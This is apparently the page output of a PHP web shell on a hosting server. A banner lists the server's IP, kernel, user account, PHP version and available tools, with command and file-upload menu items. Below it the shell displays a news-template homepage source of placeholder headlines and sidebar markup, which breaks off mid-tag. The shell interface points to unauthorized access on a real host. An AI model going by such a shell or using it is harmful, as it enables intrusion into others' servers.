|
Server IP : 162.214.80.37 / Your IP : 216.73.216.83 Web Server : Apache System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : imyrqtmy ( 2189) PHP Version : 8.2.18 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/imyrqtmy/public_html/tisriankh/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!DOCTYPE html>
<html class="no-js" lang="zxx">
<?php require "inc/head.php"; ?>
<body>
<!-- <div class="subscribe-popup">
<div class="subscribe-popup-inner">
<div class="close-popup">
<i class="fal fa-times"></i>
</div>
<div class="row no-gutters">
<div class="col-lg-12">
<div class="newsletter-widget weekly-newsletter bg-grey-light-three">
<div class="newsletter-content">
<img src="assets/images/subscribe-popup-img.jpg" class="pop-img" alt="subscribe img">
</div>
</div>
</div>
</div>
</div>
</div> -->
<!-- End of .subscribe-popup -->
<!-- Main contents
================================================ -->
<div class="main-content">
<?php require "inc/header.php"; ?>
<!-- End of .page-header -->
<div class="recent-news-wrapper section-gap p-t-xs-15 p-t-sm-60">
<div class="container">
<div class="row">
<div class="col-lg-6">
<div class="axil-latest-post">
<div class="media post-block m-b-xs-20">
<figure class="fig-container">
<a href="#"><img src="assets/images/post/latest-post.jpg"
alt="latest post"></a>
<div class="post-cat-group m-b-xs-10">
<a href="#"
class="post-cat cat-btn bg-color-blue-one">TECHNOLOGY</a>
</div>
</figure>
<div class="media-body">
<h3 class="axil-post-title hover-line hover-line"><a
href="#">VR Is the Use of Computer Technology to
Create a Simulated Environment.</a></h3>
<div class="post-metas">
<ul class="list-inline">
<li>By <a href="#" class="post-author">Ashley Graham</a></li>
<li><i class="dot">.</i>July 23, 2019</li>
<li><a href="#"><i class="feather icon-activity"></i>5k Views</a></li>
<li><a href="#"><i class="feather icon-share-2"></i>230 Shares</a></li>
</ul>
</div>
</div>
</div>
<!-- End of .post-block -->
</div>
<!-- End of .latest-post -->
</div>
<!-- End of .col-lg-6 -->
<div class="col-lg-6">
<div class="axil-recent-news">
<div class="section-title d-flex m-b-xs-30">
<h2 class="axil-title">Recent News</h2>
<a href="#" class="btn-link ml-auto">ALL RECENT NEWS</a>
</div>
<!-- End of .section-title -->
<div class="axil-content">
<div class="media post-block m-b-xs-30">
<a href="#" class="align-self-center"><img
class=" m-r-xs-30" src="assets/images/post/post-img-18.jpg" alt=""></a>
<div class="media-body">
<div class="post-cat-group m-b-xs-10">
<a href="#"
class="post-cat cat-btn bg-color-purple-one">TRAVEL</a>
</div>
<h3 class="axil-post-title hover-line hover-line"><a
href="#">50 Years After The Moon Landing: How
Close Is Space Travel, Really?</a></h3>
<div class="post-metas">
<ul class="list-inline">
<li>By <a href="#">Amachea Jajah</a></li>
</ul>
</div>
</div>
</div>
<!-- End of .post-block -->
<div class="media post-block m-b-xs-30">
<a href="#" class="align-self-center"><img
class=" m-r-xs-30" src="assets/images/post/post-img-19.jpg" alt=""></a>
<div class="media-body">
<div class="post-cat-group m-b-xs-10">
<a href="#"
class="post-cat cat-btn bg-color-green-one">LIFESTYLE</a>
</div>
<h3 class="axil-post-title hover-line hover-line"><a
href="#">Trip To Iqaluit In Nunavut A Canadian
Arctic City</a>
</h3>
<div class="post-metas">
<ul class="list-inline">
<li>By <a href="#">Xu Jianhong</a></li>
</ul>
</div>
</div>
</div>
<!-- End of .post-block -->
<div class="media post-block m-b-xs-30">
<a href="#" class="align-self-center"><img
class=" m-r-xs-30" src="assets/images/post/post-img-20.jpg" alt=""></a>
<div class="media-body">
<div class="post-cat-group m-b-xs-10">
<a href="#"
class="post-cat cat-btn bg-color-blue-two">COOKING</a>
</div>
<h3 class="axil-post-title hover-line hover-line"><a
href="#">Tesla’s Cooking Up A New Way To Wire
Its Cars, Report Says</a></h3>
<div class="post-metas">
<ul class="list-inline">
<li>By <a href="#">Ahmad Nazeri</a></li>
</ul>
</div>
</div>
</div>
<!-- End of .post-block -->
<div class="media post-block m-b-xs-30">
<a href="#" class="align-self-center"><img
class=" m-r-xs-30" src="assets/images/post/post-img-21.jpg" alt=""></a>
<div class="media-body">
<div class="post-cat-group m-b-xs-10">
<a href="#"
class="post-cat cat-btn bg-color-red-two">WILDLIFE</a>
</div>
<h3 class="axil-post-title hover-line hover-line"><a
href="#">African Nations Are Struggling To Save
Their Wildlife</a></h3>
<div class="post-metas">
<ul class="list-inline">
<li>By <a href="#">Sergio Pliego</a></li>
</ul>
</div>
</div>
</div>
<!-- End of .post-block -->
</div>
<!-- End of .content -->
</div>
<!-- End of .recent-news -->
</div>
<!-- End of .col-lg-6 -->
</div>
<!-- End of .row -->
</div>
<!-- End of .container -->
</div>
<!-- End of .section-gap -->
<section class="section-gap section-gap-top__with-text top-stories bg-grey-light-three">
<div class="container">
<div class="section-title m-b-xs-40">
<h2 class="axil-title">Top Stories</h2>
<a href="#" class="btn-link">All Top Stories</a>
</div>
<div class="row">
<div class="col-lg-8">
<div class="axil-img-container m-b-xs-30">
<a href="#" class="d-block">
<img src="assets/images/top-stories/top-stories-1.jpg" alt="gallery images"
class="w-100">
<div class="grad-overlay"></div>
</a>
<div class="media post-block position-absolute">
<div class="media-body media-body__big">
<div class="post-cat-group m-b-xs-10">
<a href="#" class="post-cat cat-btn bg-color-purple-one">TRAVEL</a>
</div>
<div class="axil-media-bottom">
<h3 class="axil-post-title hover-line hover-line"><a
href="#">World Travel Holdings Will Be Honored
Alongside Other Recipients</a></h3>
<div class="post-metas">
<ul class="list-inline">
<li>By <a href="#" class="post-author">Ashley Graham</a></li>
<li><i class="dot">.</i>July 17, 2019</li>
<li><a href="#"><i class="feather icon-activity"></i>5k Views</a></li>
<li><a href="#"><i class="feather icon-share-2"></i>230 Shares</a></li>
</ul>
</div>
</div>
</div>
</div>
<!-- End of .post-block -->
</div>
<!-- End of .axil-img-container -->
</div>
<!-- End of .grid-item -->
<div class="col-lg-4">
<div class="axil-img-container m-b-xs-30">
<a href="#" class="d-block">
<img src="assets/images/top-stories/top-stories-2.jpg" alt="gallery images"
class="w-100">
<div class="grad-overlay"></div>
</a>
<div class="media post-block position-absolute">
<div class="media-body">
<div class="post-cat-group m-b-xs-10">
<a href="#"
class="post-cat cat-btn btn-mid bg-color-purple-two">BUEATY</a>
</div>
<div class="axil-media-bottom">
<h3 class="axil-post-title hover-line hover-line"><a
href="#">Unmatched Toner Cartridge Quality 20
Less Than Oem Price</a></h3>
<div class="post-metas">
<ul class="list-inline">
<li><a href="#"
class="d-flex align-items-center"><span>By Amachea
Jajah</span></a></li>
</ul>
</div>
</div>
</div>
</div>
<!-- End of .post-block -->
</div>
<!-- End of .axil-img-container -->
<div class="axil-img-container m-b-xs-30">
<a href="#" class="d-block">
<img src="assets/images/top-stories/top-stories-3.jpg" alt="gallery images"
class="w-100">
<div class="grad-overlay"></div>
</a>
<div class="media post-block position-absolute">
<div class="media-body">
<div class="post-cat-group m-b-xs-10">
<a href="#"
class="post-cat cat-btn btn-mid bg-color-blue-three">TECHNOLOGY</a>
</div>
<div class="axil-media-bottom">
<h3 class="axil-post-title hover-line hover-line"><a
href="#">Stocking Your
Restaurant Kitchen Finding
Reliable
Sellers</a></h3>
<div class="post-metas">
<ul class="list-inline">
<li><a href="#" class="d-flex align-items-center"><span>By David
Brown</span></a></li>
</ul>
</div>
</div>
</div>
</div>
<!-- End of .post-block -->
</div>
<!-- End of .axil-img-container -->
</div>
<!-- End of .col-lg-4 -->
</div>
<!-- End of .row -->
</div>
<!-- End of .container -->
</section>
<!-- End of .top-stories -->
<section class="section-gap section-gap-top__with-text trending-stories">
<div class="container">
<div class="section-title m-b-xs-40">
<h2 class="axil-title">Trending Stories</h2>
<a href="#" class="btn-link">ALL TRENDING STORIES</a>
</div>
<div class="row">
<div class="col-lg-6">
<div class="media post-block m-b-xs-30">
<a href="#" class="align-self-center"><img class=" m-r-xs-30"
src="assets/images/trending-stories/trending-stories-1.jpg" alt=""></a>
<div class="media-body">
<div class="post-cat-group m-b-xs-10">
<a href="#" class="post-cat cat-btn bg-color-blue-grey-one">WORLD</a>
</div>
<h3 class="axil-post-title hover-line hover-line"><a
href="#">Increasing Prosperity With Positive
Thinking</a></h3>
<div class="post-metas">
<ul class="list-inline">
<li>By <a href="#">Amachea Jajah</a></li>
</ul>
</div>
</div>
</div>
<!-- End of .post-block -->
</div>
<!-- End of .col-lg-6 -->
<div class="col-lg-6">
<div class="media post-block m-b-xs-30">
<a href="#" class="align-self-center"><img class=" m-r-xs-30"
src="assets/images/trending-stories/trending-stories-2.jpg" alt=""></a>
<div class="media-body">
<div class="post-cat-group m-b-xs-10">
<a href="#" class="post-cat cat-btn bg-color-red-two">FOOD</a>
</div>
<h3 class="axil-post-title hover-line hover-line"><a
href="#">Crispy Air
Fryer
Parmesan And Thyme Roasted
Wedge Fries</a>
</h3>
<div class="post-metas">
<ul class="list-inline">
<li>By <a href="#">Xu Jianhong</a></li>
</ul>
</div>
</div>
</div>
<!-- End of .post-block -->
</div>
<!-- End of .col-lg-6 -->
<div class="col-lg-6">
<div class="media post-block m-b-xs-30">
<a href="#" class="align-self-center"><img class=" m-r-xs-30"
src="assets/images/trending-stories/trending-stories-3.jpg" alt=""></a>
<div class="media-body">
<div class="post-cat-group m-b-xs-10">
<a href="#" class="post-cat cat-btn bg-color-purple-one">LIFESTYLE</a>
</div>
<h3 class="axil-post-title hover-line hover-line"><a
href="#">Boxed Water
Partners
With Rag & Bone To Tap
Consumer Creativity</a></h3>
<div class="post-metas">
<ul class="list-inline">
<li>By <a href="#">Ahmad Nazeri</a></li>
</ul>
</div>
</div>
</div>
<!-- End of .post-block -->
</div>
<!-- End of .col-lg-6 -->
<div class="col-lg-6">
<div class="media post-block m-b-xs-30">
<a href="#" class="align-self-center"><img class=" m-r-xs-30"
src="assets/images/trending-stories/trending-stories-4.jpg" alt=""></a>
<div class="media-body">
<div class="post-cat-group m-b-xs-10">
<a href="#" class="post-cat cat-btn bg-color-blue-three">RACING</a>
</div>
<h3 class="axil-post-title hover-line hover-line"><a
href="#">Kipchoge
Proves He Has
No Equal: Runs 2nd
Fastest Marathon Time In History</a></h3>
<div class="post-metas">
<ul class="list-inline">
<li>By <a href="#">Sergio Pliego</a></li>
</ul>
</div>
</div>
</div>
<!-- End of .post-block -->
</div>
<!-- End of .col-lg-6 -->
<div class="col-lg-6">
<div class="media post-block m-b-xs-30">
<a href="#" class="align-self-center"><img class=" m-r-xs-30"
src="assets/images/trending-stories/trending-stories-5.jpg" alt=""></a>
<div class="media-body">
<div class="post-cat-group m-b-xs-10">
<a href="#" class="post-cat cat-btn bg-color-green-two">SWIMMING</a>
</div>
<h3 class="axil-post-title hover-line hover-line"><a
href="#">Here, I Focus
On A Range
Of Items And Features
</a></h3>
<div class="post-metas">
<ul class="list-inline">
<li>By <a href="#">Amachea Jajah</a></li>
</ul>
</div>
</div>
</div>
<!-- End of .post-block -->
</div>
<!-- End of .col-lg-6 -->
<div class="col-lg-6">
<div class="media post-block m-b-xs-30">
<a href="#" class="align-self-center"><img class=" m-r-xs-30"
src="assets/images/trending-stories/trending-stories-6.jpg" alt=""></a>
<div class="media-body">
<div class="post-cat-group m-b-xs-10">
<a href="#" class="post-cat cat-btn bg-color-blue-two">SPORTS</a>
</div>
<h3 class="axil-post-title hover-line hover-line"><a
href="#">Get Around Easily With A New York Limousine
Service</a>
</h3>
<div class="post-metas">
<ul class="list-inline">
<li>By <a href="#">Xu Jianhong</a></li>
</ul>
</div>
</div>
</div>
<!-- End of .post-block -->
</div>
<!-- End of .col-lg-6 -->
</div>
<!-- End of .row -->
</div>
<!-- End of .container -->
</section>
<!-- End of .trending-stories -->
<section class="axil-video-posts section-gap section-gap-top__with-text bg-grey-dark-one">
<div class="container">
<div class="section-title title-white m-b-xs-40">
<h2 class="axil-title">Videos</h2>
<a href="#" class="btn-link ml-auto">All VIDEOS</a>
</div>
<!-- End of .section-title -->
<div class="row">
<div class="col-lg-8">
<div class="axil-img-container flex-height-container">
<a href="post-format-video.html" class="d-block h-100">
<img src="assets/images/video-post/video-post-latest.jpg" alt="video post"
class="w-100">
<div class="grad-overlay grad-overlay__transparent"></div>
<div class="video-popup video-play-btn video-play-btn__big"></div>
</a>
<div class="media post-block grad-overlay__transparent position-absolute m-b-xs-30">
<div class="media-body media-body__big">
<div class="axil-media-bottom mt-auto">
<h3 class="axil-post-title hover-line hover-line"><a
href="#">Maui
By Air The
Best Way Around The
Island</a></h3>
<div class="post-metas">
<ul class="list-inline">
<li>By <a href="#" class="post-author">Ashley Graham</a></li>
<li><i class="dot">.</i>July 23, 2019</li>
<li><a href="#"><i class="feather icon-activity"></i>5k Views</a></li>
<li><a href="#"><i class="feather icon-share-2"></i>230 Shares</a></li>
</ul>
</div>
</div>
</div>
<!-- End of .media-body -->
</div>
<!-- End of .post-block -->
</div>
<!-- End of .axil-img-container -->
</div>
<!-- End of .col-lg-8 -->
<div class="col-lg-4">
<div class="axil-content">
<div class="media post-block post-block__small post-block__on-dark-bg m-b-xs-30">
<a href="post-format-video.html" class="align-self-center">
<img class=" m-r-xs-30" src="assets/images/video-post/video-post-1.jpg" alt="">
<span class="video-play-btn video-play-btn__small"></span>
</a>
<div class="media-body">
<div class="post-cat-group">
<a href="post-format-video.html" class="post-cat color-blue-three">BEAUTY</a>
</div>
<h3 class="axil-post-title hover-line hover-line"><a
href="post-format-video.html">Stocking
Your
Restaurant Kitchen Finding
Reliable
Sellers</a></h3>
<div class="post-metas">
<ul class="list-inline">
<li>By <a href="#">Amachea Jajah</a></li>
</ul>
</div>
</div>
</div>
<!-- End of .post-block -->
<div class="media post-block post-block__small post-block__on-dark-bg m-b-xs-30">
<a href="post-format-video.html" class="align-self-center"><img class=" m-r-xs-30"
src="assets/images/video-post/video-post-2.jpg" alt="">
<span class="video-play-btn video-play-btn__small"></span></a>
<div class="media-body">
<a href="post-format-video.html" class="post-cat color-green-three">TRAVEL</a>
<h3 class="axil-post-title hover-line hover-line"><a
href="post-format-video.html">Trip To
Iqaluit In
Nunavut A Canadian
Arctic
City</a>
</h3>
<div class="post-metas">
<ul class="list-inline">
<li>By <a href="#">Xu Jianhong</a></li>
</ul>
</div>
</div>
</div>
<!-- End of .post-block -->
<div class="media post-block post-block__small post-block__on-dark-bg m-b-xs-30">
<a href="post-format-video.html" class="align-self-center"><img class=" m-r-xs-30"
src="assets/images/video-post/video-post-3.jpg" alt="">
<span class="video-play-btn video-play-btn__small"></span></a>
<div class="media-body">
<a href="post-format-video.html" class="post-cat color-red-two">SPORTS</a>
<h3 class="axil-post-title hover-line hover-line"><a
href="post-format-video.html">Get The Boot A Birds Eye Look Into Mcse
Boot Camps</a></h3>
<div class="post-metas">
<ul class="list-inline">
<li>By <a href="#">Ahmad Nazeri</a></li>
</ul>
</div>
</div>
</div>
<!-- End of .post-block -->
<div class="media post-block post-block__small post-block__on-dark-bg m-b-xs-30">
<a href="post-format-video.html" class="align-self-center"><img class=" m-r-xs-30"
src="assets/images/video-post/video-post-4.jpg" alt="">
<span class="video-play-btn video-play-btn__small"></span></a>
<div class="media-body">
<a href="post-format-video.html" class="post-cat color-blue-one">FASHION</a>
<h3 class="axil-post-title hover-line hover-line"><a
href="post-format-video.html">To Keep
Makeup
Looking Fresh Take A
Powder</a></h3>
<div class="post-metas">
<ul class="list-inline">
<li>By <a href="#">Sergio Pliego</a></li>
</ul>
</div>
</div>
</div>
<!-- End of .post-block -->
</div>
<!-- End of .axil-content -->
</div>
<!-- End of .col-lg-4 -->
</div>
<!-- End of .row -->
</div>
<!-- End of .container -->
</section>
<!-- End of .axil-video-posts -->
<div class="random-posts section-gap">
<div class="container">
<div class="row">
<div class="col-lg-8">
<div class="add-container m-b-xs-60">
<a href="#"><img src="assets/images/clientbanner/clientbanner.jpg" alt="add one"
class="img-fluid"></a>
</div>
<main class="axil-content">
<div class="media post-block post-block__mid m-b-xs-30">
<a href="#" class="align-self-center"><img class=" m-r-xs-30"
src="assets/images/post/post-img-3.jpg" alt=""></a>
<div class="media-body">
<div class="post-cat-group m-b-xs-10">
<a href="#" class="post-cat cat-btn bg-color-blue-one">TRAVEL</a>
</div>
<h3 class="axil-post-title hover-line hover-line"><a
href="#">Will The
Democrats
Be Able To Reverse The
Online Gambling Ban</a></h3>
<p class="mid">Aliquam erat volutpat. Nam ut bibendum eros. Nam vel nulla est.
Quisque fermentum sapien.</p>
<div class="post-metas">
<ul class="list-inline">
<li>By <a href="#">Amachea Jajah</a></li>
</ul>
</div>
</div>
</div>
<!-- End of .post-block -->
<div class="media post-block post-block__mid m-b-xs-30">
<a href="#" class="align-self-center"><img class=" m-r-xs-30"
src="assets/images/post/post-img-4.jpg" alt=""></a>
<div class="media-body">
<div class="post-cat-group m-b-xs-10">
<a href="#" class="post-cat cat-btn bg-color-blue-two">SCIENCE</a>
</div>
<h3 class="axil-post-title hover-line hover-line"><a
href="#">Old
Fashioned Recipe
For Preventing
Allergies And Chemical Sensitivities</a></h3>
<p class="mid">Cras sit amet maximus odio, finibus pulvinar nisl. Praesent sed
sagittis diam. Integer sed volutpat mi, in ultrices tellus.</p>
<div class="post-metas">
<ul class="list-inline">
<li>By <a href="#">Amachea Jajah</a></li>
</ul>
</div>
</div>
</div>
<!-- End of .post-block -->
<div class="media post-block post-block__mid m-b-xs-30">
<a href="#" class="align-self-center"><img class=" m-r-xs-30"
src="assets/images/post/post-img-5.jpg" alt=""></a>
<div class="media-body">
<div class="post-cat-group m-b-xs-10">
<a href="#"
class="post-cat cat-btn bg-color-purple-one">PHILOSOPHY</a>
</div>
<h3 class="axil-post-title hover-line hover-line"><a
href="#">Barbeque
Techniques
Two Methods To
Consider</a></h3>
<p class="mid">Nulla facilisi. Aenean scelerisque elit nec placerat fermentum. Duis
eu urna.</p>
<div class="post-metas">
<ul class="list-inline">
<li>By <a href="#">Amachea Jajah</a></li>
</ul>
</div>
</div>
</div>
<!-- End of .post-block -->
<div class="media post-block post-block__mid m-b-xs-30">
<a href="#" class="align-self-center"><img class=" m-r-xs-30"
src="assets/images/post/post-img-6.jpg" alt=""></a>
<div class="media-body">
<div class="post-cat-group m-b-xs-10">
<a href="#" class="post-cat cat-btn bg-color-purple-two">BEAUTY</a>
</div>
<h3 class="axil-post-title hover-line hover-line"><a
href="#">Sony
Laptops Are
Still Part Of The Sony
Family</a></h3>
<p class="mid">Curabitur egestas est vitae sem blandit tincidunt. Nunc cursus
interdum odio sit amet gravida.</p>
<div class="post-metas">
<ul class="list-inline">
<li>By <a href="#">Amachea Jajah</a></li>
</ul>
</div>
</div>
</div>
<!-- End of .post-block -->
<div class="media post-block post-block__mid m-b-xs-30">
<a href="#" class="align-self-center"><img class=" m-r-xs-30"
src="assets/images/post/post-img-7.jpg" alt=""></a>
<div class="media-body">
<div class="post-cat-group m-b-xs-10">
<a href="#"
class="post-cat cat-btn bg-color-blue-three">ADVERTISING</a>
</div>
<h3 class="axil-post-title hover-line hover-line"><a
href="#">It takes a big idea to attract the
attention of consumers and get them to buy your product. </a></h3>
<p class="mid">Nullam arcu purus, elementum ut tincidunt sit amet, facilisis quis
quam. Pellentesque fringilla leo et commodo pulvinar.</p>
<div class="post-metas">
<ul class="list-inline">
<li>By <a href="#">Amachea Jajah</a></li>
</ul>
</div>
</div>
</div>
<!-- End of .post-block -->
<div class="media post-block post-block__mid m-b-xs-30">
<a href="#" class="align-self-center"><img class=" m-r-xs-30"
src="assets/images/post/post-img-8.jpg" alt=""></a>
<div class="media-body">
<div class="post-cat-group m-b-xs-10">
<a href="#"
class="post-cat cat-btn bg-color-green-two">TECHNOLOGY</a>
</div>
<h3 class="axil-post-title hover-line hover-line"><a
href="#">Going
Wireless With
Your Headphones</a></h3>
<p class="mid">Donec ac felis purus. Nam quis justo vel tortor imperdiet efficitur.
Ut ac sagittis magna. Ut tincidunt rhoncus lacus.</p>
<div class="post-metas">
<ul class="list-inline">
<li>By <a href="#">Amachea Jajah</a></li>
</ul>
</div>
</div>
</div>
<!-- End of .post-block -->
<div class="media post-block post-block__mid m-b-xs-30">
<a href="#" class="align-self-center"><img class=" m-r-xs-30"
src="assets/images/post/post-img-9.jpg" alt=""></a>
<div class="media-body">
<div class="post-cat-group m-b-xs-10">
<a href="#"
class="post-cat cat-btn bg-color-green-three">MOTIVATION</a>
</div>
<h3 class="axil-post-title hover-line hover-line"><a
href="#">Hypnotherapy For Motivation Getting The
Drive Back</a>
</h3>
<p class="mid">Pellentesque ullamcorper nibh nec lacus lobortis lobortis. Praesent
sit amet venenatis nibh. </p>
<div class="post-metas">
<ul class="list-inline">
<li>By <a href="#">Amachea Jajah</a></li>
</ul>
</div>
</div>
</div>
<!-- End of .post-block -->
<div class="media post-block post-block__mid m-b-xs-30">
<a href="#" class="align-self-center"><img class=" m-r-xs-30"
src="assets/images/post/post-img-10.jpg" alt=""></a>
<div class="media-body">
<div class="post-cat-group m-b-xs-10">
<a href="#" class="post-cat cat-btn bg-color-red-one">SPORTS</a>
</div>
<h3 class="axil-post-title hover-line hover-line"><a
href="#">Maui By Air The Best Way Around The
Island</a>
</h3>
<p class="mid">Ut et feugiat dui. Nam fringilla, sem et mollis tincidunt, eros orci
congue magna, eget lacinia erat metus vel tortor. Praesent efficitur ultricies
felis. </p>
<div class="post-metas">
<ul class="list-inline">
<li>By <a href="#">Amachea Jajah</a></li>
</ul>
</div>
</div>
</div>
<!-- End of .post-block -->
</main>
<!-- End of .axil-content -->
</div>
<!-- End of .col-lg-8 -->
<div class="col-lg-4">
<aside class="post-sidebar">
<div class="add-block-widget m-b-xs-40">
<a href="#"><img src="assets/images/clientbanner/clientbanner2.jpg" alt="sidebar add"
class="img-fluid"></a>
</div>
<div class="newsletter-widget weekly-newsletter bg-grey-light-three m-b-xs-40">
<div class="newsletter-content">
<div class="newsletter-icon">
<i class="feather icon-send"></i>
</div>
<div class="section-title">
<h3 class="axil-title">Subscribe To Our Weekly
Newsletter</h3>
<p class="mid m-t-xs-10 m-b-xs-20">No spam, notifications only about new
products,
updates.</p>
</div>
<!-- End of .section-title -->
<div class="subscription-form-wrapper">
<form action="#" class="subscription-form">
<div class="form-group form-group-small m-b-xs-20">
<label for="subscription-email-2">Enter Email Address</label>
<input type="text" name="subscription-email-2"
id="subscription-email-2">
</div>
<div class="m-b-xs-0">
<button class="btn btn-primary btn-small">SUBSCRIBE</button>
</div>
</form>
<!-- End of .subscription-form -->
</div>
<!-- End of .subscription-form-wrapper -->
</div>
<!-- End of .newsletter-content -->
</div>
<!-- End of .newsletter-widget -->
<div class="category-widget m-b-xs-40">
<div class="widget-title">
<h3>Categories</h3>
<div class="owl-nav">
<button class="custom-owl-prev"><i
class="feather icon-chevron-left"></i></button>
<button class="custom-owl-next"><i
class="feather icon-chevron-right"></i></button>
</div>
</div>
<div class="category-carousel">
<div class="owl-carousel owl-theme" data-owl-items="1" data-owl-loop="true"
data-owl-autoplay="true" data-owl-dots="false" data-owl-nav="false"
data-owl-margin="10">
<div class="cat-carousel-inner">
<ul class="category-list-wrapper">
<li class="category-list perfect-square">
<a href="#" class="list-inner"
style="background-image: url(assets/images/category-bg/category-bg-1.png)">
<div class="post-info-wrapper overlay">
<div class="counter-inner"><span class="counter">20</span>+
</div>
<h4 class="cat-title">Top Stories</h4>
</div>
<!-- End of .counter-wrapper -->
</a>
</li>
<!-- End of .category-list -->
<li class="category-list perfect-square">
<a href="#" class="list-inner"
style="background-image: url(assets/images/category-bg/category-bg-2.png)">
<div class="post-info-wrapper overlay">
<div class="counter-inner"><span class="counter">100</span>+
</div>
<h4 class="cat-title">Business</h4>
</div>
<!-- End of .counter-wrapper -->
</a>
</li>
<!-- End of .category-list -->
<li class="category-list perfect-square">
<a href="#" class="list-inner"
style="background-image: url(assets/images/category-bg/category-bg-3.png)">
<div class="post-info-wrapper overlay">
<div class="counter-inner"><span class="counter">10</span>+
</div>
<h4 class="cat-title">Travel</h4>
</div>
<!-- End of .counter-wrapper -->
</a>
</li>
<!-- End of .category-list -->
<li class="category-list perfect-square">
<a href="#" class="list-inner"
style="background-image: url(assets/images/category-bg/category-bg-4.png)">
<div class="post-info-wrapper overlay">
<div class="counter-inner"><span class="counter">10</span>+
</div>
<h4 class="cat-title">Food</h4>
</div>
<!-- End of .counter-wrapper -->
</a>
</li>
<!-- End of .category-list -->
</ul>
<!-- End of .category-list-wrapper -->
</div>
<!-- End of .cat-carousel-inner -->
<div class="cat-carousel-inner">
<ul class="category-list-wrapper">
<li class="category-list perfect-square">
<a href="#" class="list-inner"
style="background-image: url(assets/images/category-bg/category-bg-5.jpg)">
<div class="post-info-wrapper overlay">
<div class="counter-inner"><span class="counter">20</span>+
</div>
<h4 class="cat-title">Top Stories</h4>
</div>
<!-- End of .counter-wrapper -->
</a>
</li>
<!-- End of .category-list -->
<li class="category-list perfect-square">
<a href="#" class="list-inner"
style="background-image: url(assets/images/category-bg/category-bg-6.jpg)">
<div class="post-info-wrapper overlay">
<div class="counter-inner"><span class="counter">100</span>+
</div>
<h4 class="cat-title">Business</h4>
</div>
<!-- End of .counter-wrapper -->
</a>
</li>
<!-- End of .category-list -->
<li class="category-list perfect-square">
<a href="#" class="list-inner"
style="background-image: url(assets/images/category-bg/category-bg-7.jpg)">
<div class="post-info-wrapper overlay">
<div class="counter-inner"><span class="counter">10</span>+
</div>
<h4 class="cat-title">Travel</h4>
</div>
<!-- End of .counter-wrapper -->
</a>
</li>
<!-- End of .category-list -->
<li class="category-list perfect-square">
<a href="#" class="list-inner"
style="background-image: url(assets/images/category-bg/category-bg-8.jpg)">
<div class="post-info-wrapper overlay">
<div class="counter-inner"><span class="counter">10</span>+
</div>
<h4 class="cat-title">Food</h4>
</div>
<!-- End of .counter-wrapper -->
</a>
</li>
<!-- End of .category-list -->
</ul>
<!-- End of .category-list-wrapper -->
</div>
<!-- End of .cat-carousel-inner -->
</div>
<!-- End of .owl-carousel -->
</div>
<!-- End of .category-carousel -->
</div>
<!-- End of .category-widget -->
<div class="sidebar-social-share-widget m-b-xs-40">
<ul class="social-share-list-wrapper">
<li class="social-share-list text-center perfect-square">
<a href="#" class="list-inner bg-color-facebook">
<i class="fab fa-facebook-f"></i>
<div class="counts">2000+</div>
<div class="title">Fans</div>
</a>
</li>
<!-- End of .social-share-list -->
<li class="social-share-list text-center perfect-square">
<a href="#" class="list-inner bg-color-twitter">
<i class="fab fa-twitter"></i>
<div class="counts">4000+</div>
<div class="title">Followers</div>
</a>
</li>
<!-- End of .social-share-list -->
<li class="social-share-list text-center perfect-square">
<a href="#" class="list-inner bg-color-youtube">
<i class="fab fa-youtube"></i>
<div class="counts">1M+</div>
<div class="title">Subscribers</div>
</a>
</li>
<!-- End of .social-share-list -->
<li class="social-share-list text-center perfect-square">
<a href="#" class="list-inner bg-color-linkedin">
<i class="fab fa-linkedin-in"></i>
<div class="counts">600+</div>
<div class="title">Connections</div>
</a>
</li>
<!-- End of .social-share-list -->
<li class="social-share-list text-center perfect-square">
<a href="#" class="list-inner bg-color-vimeo">
<i class="fab fa-vimeo"></i>
<div class="counts">500+</div>
<div class="title">Connections</div>
</a>
</li>
<!-- End of .social-share-list -->
<li class="social-share-list text-center perfect-square">
<a href="#" class="list-inner bg-color-pinterest">
<i class="fab fa-pinterest"></i>
<div class="counts">600+</div>
<div class="title">Followers</div>
</a>
</li>
<!-- End of .social-share-list -->
<li class="social-share-list text-center perfect-square">
<a href="#" class="list-inner bg-color-twitch">
<i class="fab fa-twitch"></i>
<div class="counts">1K+</div>
<div class="title">Followers</div>
</a>
</li>
<!-- End of .social-share-list -->
<li class="social-share-list text-center perfect-square">
<a href="#" class="list-inner bg-color-instagram">
<i class="fab fa-instagram"></i>
<div class="counts">1K+</div>
<div class="title">Followers</div>
</a>
</li>
<!-- End of .social-share-list -->
</ul>
<!-- End of .social-share-list-wrapper -->
</div>
<!-- End of .sidebar-social-share -->
<div class="post-widget sidebar-post-widget m-b-xs-40">
<ul class="nav nav-pills row no-gutters">
<li class="nav-item col">
<a class="nav-link active" data-bs-toggle="pill" href="#recent-post">Recent</a>
</li>
<li class="nav-item col">
<a class="nav-link" data-bs-toggle="pill" href="#popular-post">Popular</a>
</li>
<li class="nav-item col">
<a class="nav-link" data-bs-toggle="pill" href="#comments">Comments</a>
</li>
</ul>
<div class="tab-content">
<div class="tab-pane fade show active" id="recent-post">
<div class="axil-content">
<div class="media post-block post-block__small">
<a href="#" class="align-self-center"><img
class=" m-r-xs-30" src="assets/images/media/small-media-1.jpg"
alt="media image"></a>
<div class="media-body">
<div class="post-cat-group">
<a href="#"
class="post-cat color-blue-three">BEAUTY,</a>
<a href="#"
class="post-cat color-yellow-one">TRADE,</a>
<a href="#"
class="post-cat color-red-one">MUSIC</a>
</div>
<h4 class="axil-post-title hover-line hover-line"><a
href="#">Stocking Your Restaurant
Kitchen Finding Reliable
Sellers</a></h4>
<div class="post-metas">
<ul class="list-inline">
<li>By <a href="#">Amachea Jajah</a></li>
</ul>
</div>
</div>
</div>
<!-- End of .post-block -->
<div class="media post-block post-block__small">
<a href="#" class="align-self-center"><img
class=" m-r-xs-30" src="assets/images/media/small-media-2.jpg"
alt="media image"></a>
<div class="media-body">
<a href="#"
class="post-cat color-green-three">TRAVEL</a>
<h4 class="axil-post-title hover-line hover-line"><a
href="#">Trip
To Iqaluit In Nunavut A
Canadian Arctic
City</a>
</h4>
<div class="post-metas">
<ul class="list-inline">
<li>By <a href="#">Xu Jianhong</a></li>
</ul>
</div>
</div>
</div>
<!-- End of .post-block -->
<div class="media post-block post-block__small">
<a href="#" class="align-self-center"><img
class=" m-r-xs-30" src="assets/images/media/small-media-3.jpg"
